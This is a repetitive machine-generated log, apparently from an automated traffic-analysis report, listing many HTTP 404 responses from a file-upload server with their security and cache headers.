Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7Vtoj4PauJKuxPU7UAA9aCUd50wyO-M6lwmX798S1UC9EykFVAXQGuHsjfvG6mCLj6Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:04 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-Ue9TMlI41dUXroOs6E7wQg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6zFSev5GIE4kC0gyJboZzY9kptr8nZl171F3I37PKuAvK6oY3DRhwEvMaPxC6hX-PQContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:05 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-XR2juWwa_qTQtZ9LjPBdQA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5k92xxcl_pcSnwCU2LuvlBxkCzuPhhEXAIQvLrfZl7hGYMSi0LokAaT4THpg5zLbR1USTo_lAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:05 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-X72kEkPPJV0qs4wWlnGIEQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6LBnBJbBNRVkFNm6QQK_zDjGmSvvkF4xwTub1CRsRFGbwCp0xZygITcpsXdjsG9tOKe__IqzAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:08 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-UjQvTp6ZMWBLeSp13LabyA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4qv6BNVPsIIJbkwOCm7nuV7SVSa3gVi_FsK2jsUDRkxXYM7TddcF0q-cUAkSngP9yhNIJkyr0Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:08 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-ie1fmE2LdngzJUHEruN5-w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4V3QIYQDwYPBbziJIYrxSzIPI5ETezwiRGsZHipZWavHX2Fe8Z5_y54vlaQxW9DB99Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:09 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-_k7IjZzisvYrZbuTn2HN9A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7varVJkhsXSf6DJTa4FknN1rArFwrbqg8QUmSWGpQXNOE4P9SeKfryd8_UUewoofYMContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:09 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-vkMI3MVvOr5ZIQY3qBRziA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6c_FgcXDHVwaRd9DG4NcgJFKXXZh6xSnzFgOLenB81clVXpgxSziIWaKztyrCz3rrMcf6nvJ8Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:12 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-WGEpRFkBE-m3KOCVSC_aOA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7mwnkuzsO8ZmftR8VPvS522mg_LEEM_20sXCyfR_IwdX9y1sTswcD0pMCJ8oTABk4GASEgJNMContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:12 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-V3y_hxYrD4qiVGEJonD4ig' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC56YazayAoKT6wMDWDSwa9foZanSMRFDM7LQBS-2r3RsGqIs_7ebEKhPHxjSYV0lHeDNKclQ9QContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:13 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-jOWBy1mr4ZI7bA0VqSq99w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC57hnft_BhXWxOAJp78j3_hzFrLv-fLgJ5M1A4sK1eJ_LphY6FfMPHTayJm8UqC_6k6lPVOz_UContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:13 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-qU4srr20rUjuCHBbYmXSpQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5ndxI2wc3N7pvzn4LWNbzkfY69svzHSL_ADZXXsXoA6jE9ocWhX-b3ZTUhoP8sUtNKWNHVBNAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:16 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-Y2zyfGdmaD9khHyONN7Usw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC75NTUcFPaRxC41JWGQkVJ_BkgbxKIpDSU-G9ggfktw74NqvzbEe35bwxiq8dkPrFGeContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:16 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-dPnyz4UP2U6P1jdOMXFY3A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5zJXvkMSZuxZOvnbOsMs4QfK_E4Qrlz67HkFipanHRg6BwRYnM9QjeVTbu_-XTCmcJContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:17 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-tvK0_N3KQ-pKIJtFj-kzRQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6px91CXeZOg1sM_gXhCCmFQICk3cFbC5serHVhTLZty3jCtsAcPqaAb2DT00MngPx8T9S2lpUContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:17 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-EIulasAqfFkTfb-G9e2NZA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC76yEQwdqhxxs1fy6eW-v9HxteYW7O5-Kt-ls4Lsir_mDjWrEL9u7vmsNDlFCwkXnW3klVnTcgContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:20 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-Mh6kn1wDXgMvH6IB1_Kw6w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4PlLrPVJDY_HCMyklLg0b3YTGUL7zBDp1030SAr7Jmv_iHxwFqB0_eLTDJrHR9LOmTContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:20 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-pCJgzZTPBL6D0ZJ2kyXxkQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC70czFd1d4BvwZ5qhvhLaV88f-OEWiYrzd-6Ro-qoYvEv76m3K68FbCSJceM5nDSfckICZsz5kContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:21 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-rtxvp6m50QagnlPhOI08Aw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5A2uoccZElWhoJVAr0gDRRGFPOv6ZtJ-KNXaEo3Mg15Lv6-OC5sNKKb46v2VAc0644o6vPoO8Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:21 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-mFuGU9G-ht3yfQHICZWpFA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC69pzIru4jgw3IQhimPY6bfM6qyAweLjk0jZfJlQgkbXOzTfVgMVnPuCpEfJCCV2jn7Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:22 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-blcp_ng6NW3RnbBWJJHIUw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
